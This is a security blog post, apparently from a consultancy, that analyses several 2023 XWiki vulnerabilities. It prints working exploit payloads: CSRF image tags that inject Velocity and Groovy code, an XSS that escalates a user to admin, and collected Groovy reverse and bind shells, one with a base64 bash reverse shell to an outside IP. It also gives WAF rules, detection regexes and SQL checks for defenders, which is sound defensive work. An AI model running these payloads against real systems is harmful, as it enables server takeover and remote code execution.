XWiki is an open-source knowledge repository which is primarily meant for enterprise use, i.e. intra-company knowledge storage and sharing. As per its website, XWiki is a “second generation” wiki, which “can be used to create collaborative web applications”.
In practice, from a security point of view at least, this translates into both pure Java extensions as well as three, installed by default, scripting languages (Apache Velocity, Apache Groovy, and Python), and a myriad of available extensions.
In all practicality, XWiki is a complex and highly capable project. Unfortunately, complexity often results in errors, and errors can give rise to security vulnerabilities.
Just for this year (up to mid-September 2023), if we examine MITRE’s CVE database, we can see that there have been 92 CVE entries created for the XWiki project. This count includes only those with published information.
In this article, our aim is to delve into the four most recent CVEs that have been published and assess these vulnerabilities in terms of their level of exploit complexity.
Additionally, we briefly discuss two other undisclosed bugs that were hinted at in the released information. These latter vulnerabilities proved relatively easy to identify, but we will delve into them in more detail later.
Before we get to the technical nits and grits, we would like to give a shoutout to Dr. rer. nat. Michael Hamann, who’s the reporter for all the described security issues and over 70 others.
Dr. Hamann is a Research & Development Engineer at XWiki SAS and has been doing a lot of amazing work towards improving the security posture of XWiki over the last few years.
CSRF into VTL (CVE-2023-40572)
CVE JSON, GHSA, XWIKI-20849, Fix commit
XWiki versions affected:
LTS and older: >= 3.2-milestone-3, < 14.10.9
Stable: >= 15.0-rc-1, < 15.4-rc-1
This Cross-Site Request Forgery vulnerability is on the simple side – basically the “create page” action is missing proper CSRF protections. Given this, an attacker can trick another user’s browser to invoke the “create page” action. Note, however, that this doesn’t actually create a new XWiki page – if run manually, the action would only redirect the user to a new page editor with the page title field pre-filled.
Somewhere in between the create and edit actions, however, the new page title is evaluated as Apache Velocity Template (VLT). This of course relies on the victim having proper scripting privileges to be able to create pages with VLT. As is usually the case with CSRF, any user with admin privileges is an obvious target for the attackers.
The original steps to reproduce, as filed by Dr. Hamann, mention using XWiki’s [image] tag in a comment/page in which the attacker has editing or commenting privileges. This does require an attacker to have access to a (compromised) low-privileged account but has the added benefit of including all required cookies in the request – something harder to achieve in case of using external attacker-controlled websites. Given this, it might be effectively limited to a local privilege escalation.
The original exploit had the following form:
[image:path:/xwiki/bin/create/Foo/WebHome?template=&parent=Main.WebHome&title=$services.logging.getLogger(%22foo%22).error(%22Script%20executed!%22)]
Note the Apache Velocity template language script there:
$services.logging.getLogger(“foo”).error(“Script executed!”)
You can observe it in action in the image below. Note how the browser displays the ALT text instead.
On successful exploitation, XWiki’s logs will indicate that the VTL script has indeed been executed (and even three times at that):
[2023-09-06 19:02:26] [info] 2023-09-06 19:02:26,647
[http-nio-8080-exec-5 –
http://example.com/xwiki/bin/edit/CVE-2023-40572-Test/WebHome?template=&parent=Main.WebHome&title=%24services.logging.getLogger%
28%22foo%22%29.error%28%22Script+executed%21%22%29] ERROR foo
– Script executed!
[2023-09-06 19:02:26] [info] 2023-09-06 19:02:26,662
[http-nio-8080-exec-5 –
http://example.com/xwiki/bin/edit/CVE-2023-40572-Test/WebHome?template=&parent=Main.WebHome&title=%24services.logging.getLogger%
28%22foo%22%29.error%28%22Script+executed%21%22%29] ERROR foo
– Script executed!
[2023-09-06 19:02:26] [info] 2023-09-06 19:02:26,727
[http-nio-8080-exec-5 –
http://example.com/xwiki/bin/edit/CVE-2023-40572-Test/WebHome?template=&parent=Main.WebHome&title=%24services.logging.getLogger%
28%22foo%22%29.error%28%22Script+executed%21%22%29] ERROR foo
– Script executed!
Note that this vulnerability is exploitable only when specifying a path to a non-existing page, as otherwise the create action would just fail.
Actually, the exploitation journey isn’t over yet, as VTL is actually somewhat sandboxed.
Apache Velocity Templates
Apache Velocity is an open source Java web templating engine, not unlike Python’s Jinja2, or a multitude of other similar tools. It has its own Velocity Template Language (VTL), which normally is used to construct HTML web templates. Here’s a small example:
<html>
<body>
<ul>
#foreach ($item in $list)
<li>$item</li>
#end
</ul>
</body>
</html>
While VLT in general has access to Java objects and namespaces, it is actually sandboxed to allow access to objects and methods considered safe. So, while a few years back a simple $java.lang.Runtime.exec(‘…’) would be enough, that’s no longer the case. Furthermore, in many projects using Velocity, it’s considered a normal feature to allow users to use VTL as needed. As such, from time to time, a new sandbox escape pops up and is patched. Here are two examples:
- CVE-2020-13936: https://securitylab.github.com/advisories/GHSL-2020-048-apache-velocity/
- CVE-2019-17558: https://www.tenable.com/blog/cve-2019-17558-apache-solr-vulnerable-to-
remote-code-execution-zero-day-vulnerability - or https://issues.apache.org/jira/browse/WICKET-5927
The sandboxing is achieved by using a configurable chain of classes which scrub and sanitize the code. The chain can generally be found under the runtime.introspector.uberspect configuration entry, and can for example look like this:
runtime.introspector.uberspect =
org.apache.velocity.util.introspection.UberspectImpl
In case of XWiki, that’s actually velocity.properties =
runtime.introspector.uberspect.chainClasses in the xwiki.properties file:
# cat /var/lib/tomcat9/webapps/xwiki/WEB-INF/xwiki.properties | grep runtime.intros
#-# velocity.properties = runtime.introspection.uberspect = org.xwiki.velocity.introspection.SecureUberspector
\,org.apache.velocity.util.introspection.DeprecatedCheckUberspector
\,org.xwiki.velocity.introspection.MethodArgumentsUberspector
There are two important things to note in the case of the XWiki’s VLT configuration:
- It uses org.xwiki.velocity.introspection.SecureUberspector and not the original
org.apache.velocity.util.introspection.UberspectImpl. - Furthermore, XWiki provides a multitude of additional tools and objects which extend the typically limited VTL capabilities.
Starting with the first one, XWiki’s SecureUberspector is actually a wrapper over the original Velocity’s UberspectImpl. That being said, the goal of this wrapper is to loosen the restrictions a bit and grant users access to additional objects and methods. Here’s a quote from its source code:
/**
* {@link SecureIntrospectorImpl} is way too restrictive with allowed {@link Class} methods.
As for the second point, let’s just say the XWiki API is pretty rich. If you’re interested, see these two documents:
- https://www.xwiki.org/xwiki/bin/view/ScriptingDocumentation/
- https://extensions.xwiki.org/xwiki/bin/view/Extension/Velocity%20Module#HDescription
As every sandbox escaping connoisseur knows, having so many different objects to (ab)use is a guaranteed sandbox escape. But in the case of XWiki, that’s actually not that bad, as only trusted users with Scripting privileges can use VLT. Furthermore, the same users can also use other unsandboxed scripting languages like Groovy or Python.
Given the above, and going back to the original CSRF, a valid exploitation strategy an attacker could employ is pivoting from sandboxed VLT to e.g. Groovy. We tried that, but it eventually turned out to be not needed…
Defender’s note: First and foremost, a vulnerable XWiki deployment should be updated to a newer version, or the patch should be cherry-picked. A temporary solution, however, might include setting an analogous rule on the WAF (pseudocode): if path contains ‘/bin/create’ and query[“title”] contains ‘$’ reject A bit less restrictive version is: if path contains ‘/bin/create’ and (query[“title”] contains ‘#set’ or query[“title”] contains ‘#{set’) reject The rules above are based on important elements of the Velocity’s templating language being found in the “title” query parameter. Note that it also prevents actual trusted users from using VTL in the title, which might be an acceptable temporary tradeoff. Remember that WAF rules are usually bypassable, but they might buy time for your sysadmins to finish deploying the fixed version. |
Unannounced Disclosure #1
In general, our pivotal attempt revolved around changing the newly created page’s content to include a simple groovy script executing a shell command. We were, however, hitting one of two errors:
Either the logs contained a very long stack frame dump with the following exception stated as the reason:
[2023-09-06 20:54:32] [info] Caused by: com.xpn.xwiki.XWikiException:
Error number 9001 in 9: Access denied; user null, acting through
script in document PivotTest18.WebHome cannot save document PivotTest18.WebHome
Or the page kept showing:
Failed to execute the [groovy] macro. Cause: [The execution of the [groovy] script macro is not allowed in [xwiki:PivotTest29.WebHome]. Check the rights of its last author or the parameters if it’s rendered from another script.]. Click on this message for details.
Reading the vulnerability description for the Nth time, our gaze kept coming back to the following line:
This demonstrates a successful CSRF attack with remote code execution. This is similar to XWIKI-20386 just with the create action. It is probably similarly old.
The problem is that, at the time of writing this post, XWIKI-20386 is still under embargo, so all we were shown was:
Eventually, we decided to look around and it turned out to be trivial to find – an action similar to the create action is the edit action reachable from the /bin/edit/ path. And yes, this is the actual action that the create action redirects too.
The thing with edit action is that it can be executed on already existing pages with the last author set to someone with scripting privileges. As such, it was enough to change the URL for our VTL payload:
$doc.setContent(‘{{groovy}}def proc = “ls -la /”.execute();println
proc.text{{/groovy}}’)
$doc.setTitle(“Asdf”)
$doc.save()
Note that the VTL code actually overwrites itself by using $doc.setTitle() – this is to prevent an infinite recursion that gets triggered on $doc.save() otherwise.
As you can see the details in the image below, the attacker refreshed the Main page after the admin’s browser got used for the CSRF delivery – thus the attacker’s browser shows the Groovy script executed, while the admin’s browser still displays the post-CSRF pre-refresh state.
Since this vulnerability had not yet been disclosed, we discussed whether we should write about it. However, when writing this article, we discovered that the vulnerability actually was disclosed – in the fix itself:
XWIKI-20386: CSRF privilege escalation/RCE via the edit action
https://github.com/xwiki/xwiki-platform/commit/cf8eb861998ea423c3645d2e5e974420b0e882be
For some reason, there is no GHSA or CVE for it yet though, and the XWIKI-20386 Jira issue is still closed. This is an unfortunate situation, as attackers scanning GitHub commits could have spotted the issue before defenders monitoring CVE/GHSA have been notified about its existence.
Defender’s note: First and foremost, a vulnerable XWiki deployment should be updated to a newer version, or the patch should be cherry-picked. A temporary solution is similar to the one for CVE-2023-40572, i.e. it might include setting an analogous rule on the WAF (pseudocode): if path contains ‘/bin/edit’ and query[“title”] contains ‘$’ reject A bit less restrictive version is: if path contains ‘/bin/edit and (query[“title”] contains ‘#set’ or query[“title”] contains ‘#{set’) reject The rules above are based on important elements of the Velocity’s templating language being found in the “title” query parameter. Note that it also prevents actual trusted users from using VTL in the title, which might be an acceptable temporary tradeoff. Remember that WAF rules are usually bypassable, but they might buy time for your sysadmins to finish deploying the fixed version. |
Groovy Payloads
Our proof of concept exploit had the following payload (formatted):
{{groovy}}
def proc = “ls -la /”.execute();
println proc.text
{{/groovy}}
As you can see, once you arrive at the Groovy payload execution, the actual code is rather trivial and, in the simplest case, boils down to using the execute() method on a string literal.
Being able to run any shell command is technically enough for the attacker to switch from the exploitation phase to exploring and backdooring the system. This of course will be limited to whichever user is used to host XWiki – in our case, that was “tomcat”. Or even – in case we’re using the docker-based distribution of XWiki – limited to the xwiki container. Regardless, this still grants the attacker full access to the XWiki’s SQL database, as well as opens up the operating system’s attack surface.
As Groovy is a powerful scripting language, an attacker can construct any payload they want and need. That being said, we decided to browse the internet in search of Groovy payload patterns, and we actually discovered that the vast majority of search results led us to a reverse-shell shellcode published in 2016 by Chris Frohoff (formatted for readability):
String host = “localhost”;
int port = 8044;
String cmd = “cmd.exe”;
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
while (pi.available () > 0) so.write(pi.read ());
while (pe.available () > 0) so.write(pe.read ());
while (si.available () > 0) po.write(si.read ());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
} catch (Exception e) {}
};
p.destroy();
s.close();
We found this shellcode being used – not always credited – in exploitation tutorials, videos, HackTheBox writeups, cheatsheets, and other articles. It’s fair to say it’s pretty popular.
The way it works is pretty simple:
- It first creates a new process (cmd.exe in this case) with all three basic inputs and outputs redirected to pipes.
- Then it creates a new network TCP socket and connects to the given location (localhost, TCP port 8044 in this case).
- Eventually, it enters a loop in which:
- It checks if there are any bytes available on any of the inputs, and if so, it forwards the data to the appropriate output.
- It makes sure the data is actually sent.
- It sleeps for 50 milliseconds.
- And then it checks if the shell process has exited. If so, it exits the loop and cleans up.
Of course, it doesn’t provide any fancy features like TTY, but it’s more than enough to get the ball rolling.
Moving onto the variants, Dzmitry Savitski on his blog has a bind-shell variant as well (formatted):
int port = 5555;
String cmd = “/bin/sh”;
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start()
Socket s = new java.net.ServerSocket(port).accept()
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
while (pi.available() > 0) so.write(pi.read());
while (pe.available() > 0) so.write(pe.read());
while (si.available() > 0) po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
} catch (Exception e) {}
};
p.destroy();
s.close();
The only change is that instead of connecting to a specified network location, it opens a listening socket and accepts exactly one connection.
For command execution itself, Mr. Savitski proposed a slightly modified version of the initial “simple” form:
def sout = new StringBuilder(), serr = new StringBuilder()
def proc = ‘ls’.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println “out> $sout err> $serr”
The main difference here is that the executed process is run for no more than 1 second, and also catches and displays standard error output.
Same exact payload can be found on HackTricks Cloud GitBook, but there’s also a Linux reverse-shell variant:
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = ‘bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}’.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println “out> $sout err> $serr”
The important part is Base64 encoded, and the original contains the following bash reverse-shell:
bash -c ‘bash -i >& /dev/tcp/10.10.14.22/4343 0>&1’
There are other variants as well, and an attacker can easily modify, obfuscate, or otherwise alter any of these. It’s also possible that the attacker may use a completely different approach. Furthermore, instead of Groovy, the attacker might use Python or even Java (in case the compromised user has not only Scripting but also Programming permissions). Nonetheless, knowing popular solutions might give the defenders a hint on what to look for.
Defender’s note: A frequent, periodic scan of the XWiki’s database might catch some unwanted activity. mysql> SELECT XWD_FULLNAME FROM xwiki.xwikidoc WHERE XWD_CONTENT REGEXP ‘execute[[:space:]]*\(\)’; +————————————+ | XWD_FULLNAME | +————————————+ | XWiki.HahahaPwned | … Based on our analysis of the common payloads, we can suggest the following patterns to look for (regex format). Note that the patterns are bypassable and might generate false-positives in case of legitimate scripts using similar constructs for a benign purpose. execute\s*\(\) ProcessBuilder.*Socket Socket.*ProcessBuilder The ones below are especially interesting indicators of compromise – they are Base64 encoded variants of bash -c at different offsets and omitting ambiguous characters: YmFzaCAtYJhc2ggLWiYXNoIC1j |
Timezone XSS (CVE-2023-40176)
CVE JSON, GHSA, XWIKI-20276, Fix commit
XWiki versions affected:
LTS and older: >= 4.1-milestone-2, < 14.10.5
Stable: unaffected|
Moving on to the second vulnerability – CVE-2023-40176. This is a typical XSS stored in the Timezone field in the user’s profile (http://example.com/xwiki/bin/edit/XWiki/attacker?editor=inline&category=preferences).
While the Timezone is a selectable, what the server actually receives and stores is a text string – the name of the timezone.
Note that this requires the User Profile Application to be installed, but that’s a standard extension bundled with XWiki Standard.
As per Dr. Hamann’s report, the easiest way to trigger this vulnerability is to use the browser’s developer tools to replace the value of the first timezone on the list with the XSS payload.
document.querySelector(‘[value=”Africa/Abidjan”]’).value =
‘<script>alert(document.location)</script>’;
After that, it’s enough to select the modified timezone, and save and reload the profile.
Defender’s note: First and foremost, a vulnerable XWiki deployment should be updated to a newer version, or the patch should be cherry-picked. A temporary solution, however, might include setting an analogous rule on the WAF (pseudocode): if path contains ‘/bin/preview’ and post.formdata[“XWiki.XWikiUsers_0_timezone”] contains ‘<‘ reject The rule above is based on the fact that any XSS payload will have to contain an opening triangle bracket (or rather a ‘less than’ sign), and these are not present in the normal timezone list. Remember that WAF rules are usually bypassable, but they might buy time for your sysadmins to finish deploying the fixed version. As far as indicators of compromise go, the presence of < character in the timezone string property is a pretty good tell: mysql> SELECT * FROM xwiki.xwikistrings WHERE XWS_NAME=’timezone’ AND XWS_VALUE LIKE ‘%<%’; +———————+———–+——————————–+ | XWS_ID | XWS_NAME | XWS_VALUE | +———————+———–+——————————–+ | -591531402865073771 | timezone | <script>alert(“XSS!”)</script> | +———————+———–+——————————–+ 1 row in set (0.00 sec) |
XSS into Admin
As is typically the case with XSS vulnerabilities, there are multiple ways to (ab)use the situation, as the attacker has almost full control of the user’s browser – at least in the scope of the exploited origin. As such, we considered multiple options – from actually emulating “clicking” the UI in a hidden <iframe>, to just sending a couple of XHR requests.
Eventually, we decided to add our user to a non-standard group for trusted admin users called XWikiAdminGroup. This turned out to be pretty trivial once you had the anti-CSRF token.
The anti-CSRF token itself is actually an attribute of the <html> element on most (all?) pages:
<html xmlns=”http://www.w3.org/1999/xhtml” lang=”en” xml:lang=”en”
data-xwiki-paged-media=”paper”
data-xwiki-reference=”xwiki:XWiki.XWikiAdminGroup”
data-xwiki-document=”XWiki.XWikiAdminGroup”
data-xwiki-wiki=”xwiki” data-xwiki-space=”XWiki”
data-xwiki-page=”XWikiAdminGroup”
data-xwiki-isnew=”false”
data-xwiki-version=”14.1″
data-xwiki-rest-url=”/xwiki/rest/wikis/xwiki/spaces/XWiki/pages/XWikiAdminGroup”
data-xwiki-locale=””
data-xwiki-form-token=”WxNBba9PTybXfxaR6O10IQ”
data-xwiki-user-reference=”xwiki:XWiki.admin”>
This means that it’s reachable through the dataset property of the <html> DOM Element:
document.getElementsByTagName(“html”)[0].dataset.xwikiFormToken
Having the token, the attacker can now send a POST request to /xwiki/bin/preview/XWiki/GroupName endpoint (we are not sure why this endpoint is called “preview”, but it does in fact modify the group) with the POST body containing the following form-encoded data:
- form_token ← anti-CSRF token
- name ← attacker’s username (can be repeated multiple times)
- xpage ← set to adduorg
All of this is done by the JS snippet below:
fetch(“/xwiki/bin/preview/XWiki/XWikiAdminGroup“, {
“credentials”: “include”,
“headers”: {
“Content-Type”: “application/x-www-form-urlencoded; charset=UTF-8”,
},
“body”: `form_token=${document.getElementsByTagName(“html”)[0].dataset.xwikiFormToken
}&name=XWiki.attacker&name=&name=&xpage=adduorg`,
“method”: “POST”,
“mode”: “cors”
});
The final code to execute in the browser’s developer tools by the attacker, as discussed above, can look like this:
document.querySelector(‘[value=”Africa/Abidjan”]’).value = ‘<script>fetch(“/xwiki/bin/preview/XWiki/XWikiAdminGroup”,{“credentials”:
“include”,”headers”:{“Content-Type”:”application/x-www-form-urlencoded;
charset=UTF-8″,},”body”:`form_token=${document.getElementsByTagName(“html”)[0].dataset.xwikiFormToken
}&name=XWiki.attacker&name=&name=&xpage=adduorg`,”method”:
“POST”,”mode”: “cors”});</script>’;
The screenshot below shows the situation post exploitation, i.e. after the admin visited the attacker’s profile.
GroovyJob object (CVE-2023-40573)
CVE JSON, GHSA, XWIKI-20852, Fix commit
XWiki versions affected:
LTS and older: >= 1.3, < 14.10.9
Stable: >= 15.0-rc-1, < 15.4-rc-1
XWiki allows a user to create a SchedulerJobClass object to be run in the background periodically. While the intention is for the job to run with creator’s permissions, it was discovered that actually the permissions of whoever last edited the page are used.
To exploit this vulnerability, as per the reproduction instruction filed by Dr. Hamann, the attacker needs to do three things:
- Have a limited user account and find an XWiki page which the user can edit but which was last edited by a user with Programming permissions. The reporter points to the user’s profile page as a good candidate, especially for users created directly by an admin.
- Edit said page in advanced mode (by pressing x, x, x, a to enable) to create an XWiki.SchedulerJobClass object and set it up accordingly (see the screenshots below). The most important settings are:
- Job class set to “com.xpn.xwiki.plugin.scheduler.GroovyJob”
- Job script set to Groovy shellcode.
- Job execution context set to user “XWiki.Admin”, language “en”, and database set to “xwiki”.
- Depending on the case, the attacker now needs to either just wait (in case the job gets auto-scheduled) or exploit the XWIKI-20851 vulnerability.
If by now you are asking what’s the XWIKI-20851 vulnerability, well, it’s the second apparently unintentionally disclosed but yet unannounced CSRF vulnerability in this series – more on it in the next section.
When testing the GroovyJob vulnerability on our test system, we just needed to wait for the messages to start showing up in the logs (every 5 minutes, as per cron expression we’ve put in):
# tail -f /var/log/tomcat9/catalina.out
[2023-09-07 12:00:00] [info] 2023-09-07 12:00:00,199 [DefaultQuartzScheduler_Worker-1] ERROR foo – Job content executed
[2023-09-07 12:05:00] [info] 2023-09-07 12:05:00,104 [DefaultQuartzScheduler_Worker-2] ERROR foo – Job content executed
[2023-09-07 12:10:00] [info] 2023-09-07 12:10:00,085 [DefaultQuartzScheduler_Worker-3] ERROR foo – Job content executed
[2023-09-07 12:15:00] [info] 2023-09-07 12:15:00,082 [DefaultQuartzScheduler_Worker-4] ERROR foo – Job content executed
[2023-09-07 12:20:00] [info] 2023-09-07 12:20:00,125 [DefaultQuartzScheduler_Worker-5] ERROR foo – Job content executed
[2023-09-07 12:25:00] [info] 2023-09-07 12:25:00,078 [DefaultQuartzScheduler_Worker-6] ERROR foo – Job content executed
Defender’s note: First and foremost, a vulnerable XWiki deployment should be updated to a newer version, or the patch should be cherrypicked. For indicators of compromise, the following query (or similar) might be of use: SELECT xwikiobjects.XWO_NAME, xwikidoc.XWD_CONTENT_AUTHOR, xwikidoc.XWD_AUTHOR, xwikilargestrings.XWL_VALUE FROM xwikiobjects JOIN xwikidoc ON LOWER(xwikiobjects.XWO_NAME) = LOWER(xwikidoc.XWD_FULLNAME) JOIN xwikilargestrings ON xwikiobjects.XWO_ID = xwikilargestrings.XWL_ID WHERE xwikiobjects.XWO_CLASSNAME = ‘XWiki.SchedulerJobClass’ AND xwikidoc.XWD_CONTENT_AUTHOR != xwikidoc.XWD_AUTHOR AND xwikilargestrings.XWL_NAME = ‘script’; The query looks for any scheduled jobs where the author and the content author mismatch. mysql> above query +————–+————————-+——————+——————————————–+ | XWO_NAME | XWD_CONTENT_AUTHOR | XWD_AUTHOR | XWL_VALUE | +————–+————+————–+—————-+——————————————–+ | XWiki.attacker | XWiki.admin | XWiki.attacker | services.logging.getLogger(“foo”).error(“Job content executed!!!”) | +————–+————+————–+————————————————————-+ 1 row in set (0.00 sec) Note that the XWiki database structure is pretty complex and this query might not cover all potential variants related to this vulnerability. It might also potentially generate false positives. |
Unannounced Disclosure #2
The XWIKI-20852 Jira ticket contains two interesting quotes (emphasis ours):
Exploit XWIKI-20851 to trigger (or schedule) the job (set the “which” parameter to the document reference of the document on which you’ve added the job object)
and
For the reproduction steps, XWIKI-20851 needs to be exploited to actually execute the job but it is also possible that an admin created a job that is editable by users without programming right, in which case this step wouldn’t be necessary.
Similarly to the previous unannounced disclosure case, XWIKI-20851 at the time of writing this article is still not open, and no related CVEs have been announced, at least as far as we can tell.
As mentioned, in our case, it seems the job was executed regardless; however, we started looking into the XWIKI-20851 vulnerability.
It pretty quickly led us to the Scheduler Application, which is yet another extension bundled in the XWiki Standard package. As the name suggests, it’s used to manage (schedule, cancel, etc.) jobs. As it happens, it also has a “Trigger” action, which appears to be just a GET request with a parameter named “which”:
http://example.com/xwiki/bin/view/Scheduler/?do=trigger&which=XWiki.attacker2
See also the screenshot below:
As such, to exploit this CSRF, its enough to write yet another comment with an [image] tag, same as in the case of the CVE-2023-40572 vulnerability:
[image:path:/xwiki/bin/view/Scheduler/?do=trigger&which=XWiki.attacker2]
Now every time the admin “sees the image”, the script gets immediately executed (note the time in comparison to the previous scheduled execution):
[2023-09-07 13:25:37] [info] 2023-09-07 13:25:37,100 [DefaultQuartzScheduler_Worker-10] ERROR foo – Job content executed!!!
[2023-09-07 13:25:37] [info] 2023-09-07 13:25:37,961 [DefaultQuartzScheduler_Worker-1] ERROR foo – Job content executed!!!
[2023-09-07 13:25:38] [info] 2023-09-07 13:25:38,839 [DefaultQuartzScheduler_Worker-2] ERROR foo – Job content executed!!!
As in the previous case, we discussed whether we should include information about this vulnerability as it’s still unannounced. We decided to publish it, however, as it was absolutely trivial to determine the nature of the vulnerability based on the available public information. As such, continued concealment only serves the attackers.
Defender’s note: We don’t believe an official patch exists for this vulnerability yet; however, applying the CVE-2023-40573 fix goes a long way toward addressing this issue as well. It might still be exploitable, but it’s almost benign – the attacker can trigger job execution but does not control what the job does. A backup idea is to remove the Scheduler Application until the fix is available, and reinstall it once it’s secure again. |
Plain old Groovy Execution (CVE-2023-40177)
CVE JSON, GHSA, XWIKI-19906, Fix commit
XWiki versions affected:
LTS and older: >= 4.3-milestone-2, < 14.10.5
Stable: unaffected
Last vulnerability disclosed in this series is likely the simplest one. It involves two standard extensions: App Within Minutes Application and Menu Application, both being bundled with XWiki Standard.
Long story short, it’s enough to add a Groovy script to any controlled page, save it, and then add a MenuClass object and save the page again. Let’s start with the first step:
Note that the error after saving the above edit is expected, as our user does not have Scripting privileges.
In the second step, and having advance mode turned on (by pressing x, x, x, a), we add the MenuClass object:
And that’s it. Now, Groovy code will be executed immediately after saving and viewing.
Defender’s note: First and foremost, a vulnerable XWiki deployment should be updated to a newer version, or the patch should be cherrypicked. For indicators of compromise, the following query (or similar) might be of use: SELECT xwikiobjects.XWO_NAME, xwikidoc.XWD_CONTENT FROM xwikiobjects JOIN xwikidoc ON LOWER(xwikiobjects.XWO_NAME) = LOWER(xwikidoc.XWD_FULLNAME) WHERE xwikiobjects.XWO_CLASSNAME = ‘Menu.MenuClass’ AND (LOWER(xwikidoc.XWD_CONTENT) LIKE ‘%groovy%’ OR LOWER(xwikidoc.XWD_CONTENT) LIKE ‘%python%’); The query above looks for any “{{groovy}}” or “{{python}}” tags (or more specifically just the “groovy” and “python” part) in the content of a page with a Menu.MenuClass object associated with it. The example below is formatted for clarity. mysql> above query +—————–+——————————–+ | XWO_NAME | XWD_CONTENT | +—————–+——————————–+ | XWiki.attacker3 | {{groovy}} | | | println(“Hello from Groovy!”) | | | {{/groovy}} | +—————–+——————————–+ 1 rows in set (0.01 sec) Note that this query might generate false positives and each result needs to be reviewed. |
Summary
XWiki is a huge attack surface and, if the number of CVEs getting allocated this year can be an indicator, it has a long way to go before it can be considered secure. After looking into four privilege escalation vulnerabilities, we decided on the following recommendations:
- Keep XWiki up to date. Perhaps even go as far as rebuilding it from the source every day as vulnerability fixes tend to appear long before they are announced in the CVE database.
- Use docker or other compartmentalization mechanisms for an additional layer of defense.
- Keep XWiki away from the internet. E.g. make it accessible only over a VPN, or only to clients with valid client-side certificates. This wouldn’t help in the case of these four (six?) discussed vulnerabilities but will in the case of full Remote Code Execution class ones.
- Plan how to detect attackers and what to do if an attack is successful. Perhaps there is some knowledge in XWiki that is especially sensitive and could be moved to e.g. another XWiki instance with more restrictive access?
- And finally, consider if you’re able to dedicate some of your employees’ time to working with the open source community on improving the security of the XWiki project.
Enhance Your XWiki Security Today!
Implement the recommended measures and consider contributing to the open-source community’s efforts to improve XWiki’s security.
Your proactive steps, combined with SecureLayer7’s expertise, can make a significant difference in safeguarding your enterprise applications.
Take action today to enhance your XWiki’s security and protect your organization with the assistance of SecureLayer7.